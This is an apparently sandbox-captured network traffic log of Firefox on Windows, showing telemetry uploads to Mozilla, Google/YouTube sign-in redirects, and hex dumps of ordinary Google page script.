2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 73 65 72 41 67 65 6e 74 29 62 72 65 61 6b 20 61 3b 62 3d 22 22 7d 72 65 74 75 72 6e 2d 31 21 3d 62 2e 69 6e 64 65 78 4f 66 28 61 29 7d 0a 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 29 7b 72 65 74 75 72 6e 20 43 3f 21 21 49 26 26 30 3c 49 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 72 65 74 75 72 6e 20 4d 28 29 3f 4b 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 4c 28 22 43 68 72 6f 6d 65 22 29 7c 7c 4c 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 4d 28 29 3f 30 3a 4c 28 22 45 64 67 65 22 29 29 7c 7c 4c 28 22 53 69 6c 6b 22 29 7d 0a 3b 21 4c 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 4e 28 29 3b 4e 28 29 3b 4c 28 22 53 61 66 61 72 69 22 29 26 26 28 4e 28 29 7c 7c 28 4d 28 29 3f 30 3a 4c 28 22 43 6f 61 73 74 22 29 29 7c 7c Data Ascii: serAgent)break a;b=""}return-1!=b.indexOf(a)};function M(){return C?!!I&&0<I.brands.length:!1}function N(){return M()?K("Chromium"):(L("Chrome")\|\|L("CriOS"))&&!(M()?0:L("Edge"))\|\|L("Silk")};!L("Android")\|\|N();N();L("Safari")&&(N()\|\|(M()?0:L("Coast"))\|\|
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 22 70 6b 65 64 63 6a 6b 64 65 66 67 70 64 65 6c 70 62 63 6d 62 6d 65 6f 6d 63 6a 62 65 65 6d 66 6d 22 2c 22 66 6a 68 6f 61 61 63 6f 6b 6d 67 62 6a 65 6d 6f 66 6c 6b 6f 66 6e 65 6e 66 61 69 65 6b 69 66 6c 22 2c 22 65 6e 68 68 6f 6a 6a 6e 69 6a 69 67 63 61 6a 66 70 68 61 6a 65 70 66 65 6d 6e 64 6b 6d 64 6c 6f 22 5d 29 2c 58 3d 0a 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 22 2e 63 6f 72 70 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 76 69 64 65 6f 2e 63 6f 6d 20 2e 79 74 69 6d 67 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 20 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2e 70 72 6f 64 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2e 67 6f 6f 67 6c 65 2e 72 75 22 2e 73 70 6c 69 74 28 22 20 Data Ascii: "pkedcjkdefgpdelpbcmbmeomcjbeemfm","fjhoaacokmgbjemoflkofnenfaiekifl","enhhojjnijigcajfphajepfemndkmdlo"]),X=Object.freeze(".corp.google.com .googlevideo.com .ytimg.com .google.com .googlesyndication.com .gstatic.com .prod.google.com .google.ru".split("
2024-01-17 23:35:40 UTC	504	IN	Data Raw: 66 5d 22 29 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 22 61 6c 74 65 72 6e 61 74 65 22 3d 3d 62 2e 72 65 6c 7c 7c 5a 28 62 2e 68 72 65 66 29 7c 7c 61 2e 61 64 64 28 62 2e 68 72 65 66 29 7d 29 3b 0a 72 65 74 75 72 6e 5b 5d 2e 63 6f 6e 63 61 74 28 78 28 61 29 29 2e 73 6f 72 74 28 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 66 61 28 29 7b 76 61 72 20 61 3d 6e 65 77 20 53 65 74 3b 5b 5d 2e 63 6f 6e 63 61 74 28 78 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 73 63 72 69 70 74 22 29 29 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 73 72 63 26 26 28 62 3d 64 61 28 62 2e 73 72 63 29 29 26 26 61 2e 61 64 64 28 62 29 7d 29 3b 0a 72 65 74 75 72 6e 5b 5d 2e 63 6f 6e 63 61 74 28 78 28 Data Ascii: f]"))).forEach(function(b){"alternate"==b.rel\|\|Z(b.href)\|\|a.add(b.href)});return[].concat(x(a)).sort()}function fa(){var a=new Set;[].concat(x(document.querySelectorAll("script"))).forEach(function(b){b.src&&(b=da(b.src))&&a.add(b)});return[].concat(x(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.6	50211	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	621	OUT	POST /submit/firefox-desktop/top-sites/1/d3698c60-da91-4f8c-b7c7-e14b40be8bb1 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:40 GMT content-length: 662 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:40 UTC	662	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 85 52 db 6e e2 30 10 fd 97 48 fb 54 92 3a 8e 21 01 69 b5 12 94 8b d1 aa 15 6c 5b 2e 2f 51 48 1c 6a 48 1c 63 3b 24 50 f1 ef 6b 87 5e f7 65 25 3b 97 39 e3 73 ce 8c e7 d5 e2 94 6d 43 ca d2 c2 ea bd 5a 92 1c ac 9e db b2 a4 8a 84 0a 15 cd 89 d5 b3 20 80 9e ed 02 1b b4 1f 41 d0 83 e0 06 c0 1e 00 56 cb 22 2c f9 4f ce a5 65 c5 19 25 4c 7d 28 28 92 91 9c 28 71 0a 65 b2 0f 37 25 cd 12 7d bc ed 39 d0 31 94 4d 20 4c 22 65 48 dd ae af 19 5d bd 1e 01 e8 35 eb a6 79 ea c4 94 0a a9 42 51 b2 f7 e4 4f 07 1f fe 22 ce 3f 14 0c 0c ba d0 87 1e 6c c3 e0 0d 8c 5f 22 c6 48 a6 61 a1 6d 45 92 e8 78 56 c4 51 66 08 09 b3 9f fe e8 40 21 c3 23 11 92 16 cc 58 02 ce 3b 73 42 25 cf a2 d3 57 d0 0d 1c e0 b8 cd 19 fd bb a0 2c 29 2a 69 d2 45 fc 42 15 89 55 29 0c Data Ascii: Rn0HT:!il[./QHjHc;$Pk^e%;9smCZ AV",Oe%L}(((qe7%}91M L"eH]5yBQO"?l_"HamExVQf@!#X;sB%W,)*iEBU)
2024-01-17 23:35:41 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:41 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.6	50214	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:41 UTC	628	OUT	POST /submit/firefox-desktop/messaging-system/1/4db4139f-6dcf-40ae-89c1-1ca4ca5a35ed HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:41 GMT content-length: 677 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:41 UTC	677	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 85 54 4d 6f dc 20 10 fd 2f 5c 1b b6 18 83 d7 eb 5b 0e 51 d5 43 5b 29 9b aa 97 48 d6 d8 8c 77 51 6c ec 02 4e b2 8a f2 df 0b ec e6 ab 71 53 c9 da c5 c3 63 e6 f1 e6 8d 1f c8 a4 cd ae d6 a6 1b 49 f5 40 1c fe 26 d5 e6 8c 38 0f d6 d7 5e 0f 48 2a c2 19 cf 69 c6 28 93 57 ac ac 38 fb c4 78 c5 18 39 23 68 d4 ff 31 f7 13 da 80 31 de c5 02 f3 b4 b3 a0 90 ba 69 f4 bd de ed 3d b5 63 df 8f b3 8f 9b 8d 05 d3 ee 43 36 6f 11 7c 3c 93 12 78 0b 71 17 4d 84 c6 e8 57 15 30 6d d7 65 25 0a a4 90 23 a7 42 b2 96 02 2f 3b 8a 59 c9 85 ca a4 44 5e 84 e3 fe 30 45 7e 46 0f cd ec 9e 8b 3d 3e 9e 91 66 1c 6f 06 b0 37 8e fa 71 ec 1b b0 54 61 07 73 ef e9 68 96 d9 50 78 cd e7 6d e6 e3 5f 12 e5 0d 4d 25 ca ae 10 50 52 10 d0 50 d1 2a 45 a1 90 8c 8a 26 2f 0b 14 19 Data Ascii: TMo /\[QC[)HwQlNqScI@&8^Hi(W8x9#h11i=cC6o\|<xqMW0me%#B/;YD^0E~F=>fo7qTashPxm_M%PRPE&/
2024-01-17 23:35:41 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:41 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.6	50217	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:41 UTC	628	OUT	POST /submit/firefox-desktop/messaging-system/1/b38522d7-1787-4855-a312-c27916e30610 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:41 GMT content-length: 675 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:41 UTC	675	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 85 54 51 6f db 20 10 fe 2f bc b6 64 18 83 e3 f8 ad 0f d5 b4 87 6d 52 d3 69 2f 95 ac b3 39 27 a8 36 f6 00 37 8d aa fe f7 01 69 d3 6a c9 5a c9 b2 d1 f1 71 f7 dd 77 1f 7e 22 93 36 9b 5a 9b 6e 24 d5 13 71 f8 87 54 e5 25 71 1e ac af bd 1e 90 54 84 33 9e d3 8c 51 26 6f 59 59 71 76 c1 78 c5 18 b9 24 68 d4 e7 98 c7 09 6d c0 18 ef 62 81 79 da 58 50 48 dd 34 fa 5e 6f b6 9e da b1 ef c7 d9 c7 cd c6 82 69 b7 21 9b b7 08 3e 9e 49 09 bc 85 b8 eb f7 53 ac 64 f4 d0 cc ee 78 2c b2 88 eb 88 fe a6 c2 7e db 75 59 89 02 29 e4 c8 a9 90 ac a5 c0 cb 8e 62 56 72 a1 32 29 91 17 e4 f9 39 f4 88 76 a2 a0 a8 c7 1e 07 f4 76 7f 96 4a 3b 1a 1f e2 ef 89 fc 53 10 85 28 a1 cd 0b 9a 4b c8 a8 e0 59 43 a1 c0 82 2a 50 b2 ec 9a bc 5b 2e 57 e1 f8 79 fa 91 48 33 8e f7 Data Ascii: TQo /dmRi/9'67ijZqw~"6Zn$qT%qT3Q&oYYqvx$hmbyXPH4^oi!>ISdx,~uY)bVr2)9vvJ;S(KYC*P[.WyH3
2024-01-17 23:35:42 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:42 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.6	50220	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:42 UTC	628	OUT	POST /submit/firefox-desktop/messaging-system/1/b3e287d1-bcec-4242-9158-4e1296363490 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:42 GMT content-length: 676 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:42 UTC	676	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 9d 54 4d 6f db 30 0c fd 2f ba 2e ca 64 d9 72 9c dc 7a 28 86 1d b6 01 4d 87 5d 0a 18 b4 45 27 42 6d d9 93 e4 b6 41 d1 ff 3e ca 49 d3 a2 f1 30 60 80 91 0f f2 91 7c 7c 24 fd cc 06 63 77 a5 b1 4d cf 36 cf cc e3 6f b6 59 2d 98 0f e0 42 19 4c 87 6c c3 a4 90 29 4f 04 17 ea 56 14 1b 29 3e 09 b9 11 82 2d 18 5a fd 6f cc d3 80 8e 30 36 f8 63 01 37 70 d0 3c 60 8b 1d 06 77 e0 ae 6f db 7e 0c d1 59 39 b0 f5 9e b2 d5 bd 0d 64 9f c2 83 83 e8 0b 87 21 d6 b1 a6 ab 46 7f 0e 8a 1c e2 ef 98 ff ab 26 3f 66 59 01 75 9a f3 54 41 c2 33 99 54 1c 72 cc b9 06 ad 8a a6 4a 9b d5 6a cd 5e 5e 16 6c 1c 76 0e 34 72 3f f4 a1 35 bb 7d 98 25 12 1c 42 88 c9 df 53 f9 50 b2 6e 9a a4 c0 0c 39 a4 28 79 a6 44 cd 41 16 0d c7 a4 90 99 4e 94 42 99 53 f8 7c 03 91 4a d5 f7 Data Ascii: TMo0/.drz(M]E'BmA>I0`\|\|$cwM6oY-BLl)OV)>-Zo06c7p<`wo~Y9d!F&?fYuTA3TrJj^^lv4r?5}%BSPn9(yDANBS\|J
2024-01-17 23:35:42 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:42 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.6	50221	142.251.16.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:42 UTC	678	OUT	GET /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en HTTP/1.1 Host: accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: iframe Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site
2024-01-17 23:35:42 UTC	1998	IN	HTTP/1.1 302 Found Content-Type: application/binary Set-Cookie: __Host-GAPS=1:h6GRwma_TJ4Qnbn-CbBoGF4joABsWA:Q_agaXYR1B1-XA-H; Expires=Fri, 16-Jan-2026 23:35:42 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:42 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp1L_F8PR0t8Ez4lPiTxJ8zl4bnSI06UunK8lQtrc6bGUU5_u7QgGVGeBZagTldH0loxJguB5g Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: unsafe-none Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Content-Security-Policy: script-src 'nonce-7FggGkfu-gUW8OV3LWxElg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.6	50223	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:42 UTC	618	OUT	POST /submit/firefox-desktop/newtab/1/8940dc38-b85f-4355-b090-8e4e300a9627 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:42 GMT content-length: 851 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
2024-01-17 23:35:42 UTC	851	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 9d 55 db 6e db 38 10 fd 17 bd 36 34 48 8a 92 25 ff c1 3e 6f 17 fb 50 14 02 2f 43 85 88 4c aa 24 95 d4 08 f2 ef 3b 94 6c c7 6e 82 2d 50 40 b0 a9 b9 1c 9e b9 ea b5 9a 9d 1f 07 e7 6d a8 0e af 55 82 1f d5 a1 79 a8 52 96 31 0f d9 1d a1 3a 54 9c f2 9a 30 4a 68 f3 95 76 07 4e bf 50 7e a0 b4 7a a8 c0 9b df da 44 90 29 78 b4 f0 f0 92 a5 1a 12 a4 e4 82 1f d0 b7 20 fc 9c 21 22 82 cf a9 5c af d3 33 71 c7 39 c4 4c 22 4c e8 09 24 86 69 0a 4b 2e 5a 15 a5 d7 8f 08 05 5e aa 09 c8 bb f5 8a 94 a3 2c 56 f9 34 17 42 de 1d d5 92 ae ee 85 6c 39 97 ab fe 32 a8 37 42 cb da 80 25 12 74 43 04 57 9c 28 06 35 69 9a de b4 7b 0b 4d a7 f6 d5 db db 43 a5 42 78 3a ca f8 94 48 0e 61 52 32 12 f4 92 cb 94 49 09 eb 86 55 c6 50 73 c1 27 f2 96 cf 87 7b 3b db 0a d9 Data Ascii: Un864H%>oP/CL$;ln-P@mUyR1:T0JhvNP~zD)x !"\3q9L"L$iK.Z^,V4Bl927B%tCW(5i{MCBx:HaR2IUPs'{;
2024-01-17 23:35:43 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:43 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.6	50225	142.251.16.84	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:43 UTC	827	OUT	GET /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp1L_F8PR0t8Ez4lPiTxJ8zl4bnSI06UunK8lQtrc6bGUU5_u7QgGVGeBZagTldH0loxJguB5g HTTP/1.1 Host: accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://www.youtube.com/ Connection: keep-alive Cookie: __Host-GAPS=1:h6GRwma_TJ4Qnbn-CbBoGF4joABsWA:Q_agaXYR1B1-XA-H Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: iframe Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site
2024-01-17 23:35:43 UTC	1529	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Set-Cookie: __Host-GAPS=1:4zg9wXyA0zukRaxeE_uQuaN6CrPZIw:IDhCoaEQ32JrNdUT;Path=/;Expires=Fri, 16-Jan-2026 23:35:43 GMT;Secure;HttpOnly;Priority=HIGH X-Frame-Options: DENY Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:43 GMT Location: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp2Xy2acD3iB-qLH4_qH1RraDwP57n2LZ4q1ba3dhkeBuj1InXA07Jh5TaATuVCNKvXRXPnA&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-1224182892%3A1705534543247268&theme=glif Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'nonce--akvhsub4lT8L3uB9Nk3Ug' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Content-Length: 637 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:43 UTC	637	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 69 64 65 6e 74 69 66 69 65 72 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 25 32 46 73 69 67 6e 69 6e 25 33 46 61 63 Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.6	50227	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:43 UTC	619	OUT	POST /submit/firefox-desktop/newtab/1/dd74a7e7-e73b-4ab9-8964-ca5c53c60966 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br date: Thu, 18 Jan 2024 01:23:43 GMT content-length: 1055 content-encoding: gzip x-telemetry-agent: Glean/53.2.0 (Rust on Windows) content-type: application/json; charset=utf-8 Connection: keep-alive Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none Pragma: no-cache Cache-Control: no-cache
